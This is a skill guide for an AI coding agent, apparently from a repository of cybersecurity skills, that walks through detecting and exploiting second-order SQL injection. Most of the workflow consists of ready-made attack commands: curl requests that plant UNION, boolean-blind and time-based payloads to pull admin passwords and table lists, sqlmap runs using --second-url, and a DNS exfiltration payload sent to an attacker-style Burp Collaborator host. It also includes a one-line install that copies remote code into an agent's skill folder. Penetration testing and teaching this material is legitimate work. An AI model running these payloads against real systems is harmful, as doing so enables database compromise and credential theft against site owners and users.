Anthropic-Cybersecurity-Skills performing-second-order-sql-injection
Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and
install
source · Clone the upstream repo
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills
Claude Code · Install into ~/.claude/skills/
T=$(mktemp -d) && git clone --depth=1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills "$T" && mkdir -p ~/.claude/skills && cp -r "$T/skills/performing-second-order-sql-injection" ~/.claude/skills/mukul975-anthropic-cybersecurity-skills-performing-second-order-sql-injection && rm -rf "$T"
manifest:
skills/performing-second-order-sql-injection/SKILL.mdsource content
Performing Second-Order SQL Injection
When to Use
- When first-order SQL injection testing reveals proper input sanitization at storage time
- During penetration testing of applications with user-generated content stored in databases
- When testing multi-step workflows where stored data feeds subsequent database queries
- During assessment of admin panels that display or process user-submitted data
- When evaluating stored procedure execution paths that use previously stored data
Prerequisites
- Burp Suite Professional for request tracking across application flows
- SQLMap with second-order injection support (--second-url flag)
- Understanding of SQL injection fundamentals and blind extraction techniques
- Two or more application functions (one for storing data, another for triggering execution)
- Database error message monitoring or blind technique knowledge
- Multiple user accounts for testing stored data across different contexts
Workflow
Step 1 — Identify Storage and Trigger Points
# Map the application to identify: # 1. STORAGE POINTS: Where user input is saved to database # - User registration (username, email, address) # - Profile update forms # - Comment/review submission # - File upload metadata # - Order/booking details # 2. TRIGGER POINTS: Where stored data is used in queries # - Admin panels displaying user data # - Report generation # - Search functionality using stored preferences # - Password reset using stored email # - Export/download features # Register a user with SQL injection in the username curl -X POST http://target.com/register \ -d "username=admin'--&password=test123&email=test@test.com"
Step 2 — Inject Payloads via Storage Points
# Store SQL injection payload in username during registration curl -X POST http://target.com/register \ -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com" # Store injection in profile fields curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--" # Store injection in address field curl -X POST http://target.com/api/address \ -H "Cookie: session=AUTH_TOKEN" \ -d "address=123 Main St' OR 1=1--&city=Test&zip=12345" # Store injection in comment/review curl -X POST http://target.com/api/review \ -H "Cookie: session=AUTH_TOKEN" \ -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
Step 3 — Trigger Execution of Stored Payloads
# Trigger via password change (uses stored username) curl -X POST http://target.com/change-password \ -H "Cookie: session=AUTH_TOKEN" \ -d "old_password=Test1234&new_password=NewPass123" # Trigger via admin user listing curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users # Trigger via data export curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data # Trigger via search using stored preferences curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations # Trigger via report generation curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
Step 4 — Use SQLMap for Second-Order Injection
# SQLMap with --second-url for second-order injection # Store payload at registration, trigger at profile page sqlmap -u "http://target.com/register" \ --data="username=*&password=test&email=test@test.com" \ --second-url="http://target.com/profile" \ --cookie="session=AUTH_TOKEN" \ --batch --dbs # Use --second-req for complex trigger requests sqlmap -u "http://target.com/api/update-profile" \ --data="display_name=*" \ --second-req=trigger_request.txt \ --cookie="session=AUTH_TOKEN" \ --batch --tables # Content of trigger_request.txt: # GET /admin/users HTTP/1.1 # Host: target.com # Cookie: session=ADMIN_TOKEN
Step 5 — Blind Second-Order Extraction
# Boolean-based blind: Check if stored payload causes different behavior # Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--" # Trigger and observe response difference curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile # Time-based blind second-order # Store: test'; WAITFOR DELAY '0:0:5'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test'; WAITFOR DELAY '0:0:5'--" # Out-of-band extraction via DNS # Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
Step 6 — Escalate to Full Database Compromise
# Once injection is confirmed, enumerate database # Store UNION-based payload curl -X POST http://target.com/api/profile \ -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--" # Extract credentials curl -X POST http://target.com/api/profile \ -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--" # Trigger execution and read results curl http://target.com/profile
Key Concepts
| Concept | Description |
|---|---|
| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |
| Storage Point | Application function where malicious input is saved to the database |
| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |
| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |
| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |
| Deferred Execution | Payload may not execute until hours or days after initial storage |
| Cross-Context Injection | Data stored by one user triggers execution in another user's context |
Tools & Systems
| Tool | Purpose |
|---|---|
| SQLMap | Automated SQL injection with --second-url support for second-order attacks |
| Burp Suite | Request tracking and comparison across storage and trigger endpoints |
| OWASP ZAP | Automated scanning with injection detection |
| Commix | Automated command injection tool supporting second-order techniques |
| Custom Python scripts | Building automated storage-and-trigger exploitation chains |
| DBeaver/DataGrip | Direct database access for verifying stored payloads |
Common Scenarios
- Username-Based Attack — Register with a SQL injection payload as username; the payload executes when an admin views the user list
- Password Change Exploitation — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query
- Report Generation Attack — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries
- Cross-User Injection — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data
- Export Function Exploit — Inject payload in profile data that triggers during CSV/PDF export operations
Output Format
## Second-Order SQL Injection Report - **Target**: http://target.com - **Storage Point**: POST /register (username field) - **Trigger Point**: GET /admin/users (admin panel) - **Database**: MySQL 8.0 ### Attack Flow 1. Registered user with username: `admin' UNION SELECT password FROM users--` 2. Application stored username safely using parameterized INSERT 3. Admin panel retrieves usernames with unsafe string concatenation in SELECT 4. Injected SQL executes, revealing all user passwords in admin view ### Data Extracted | Table | Columns | Records | |-------|---------|---------| | users | username, password, email | 150 | | admin_tokens | token, user_id | 3 | ### Remediation - Use parameterized queries for ALL database operations, including reads - Never trust data retrieved from the database as safe - Implement output encoding when displaying database content - Apply least-privilege database permissions - Enable SQL query logging for detecting injection attempts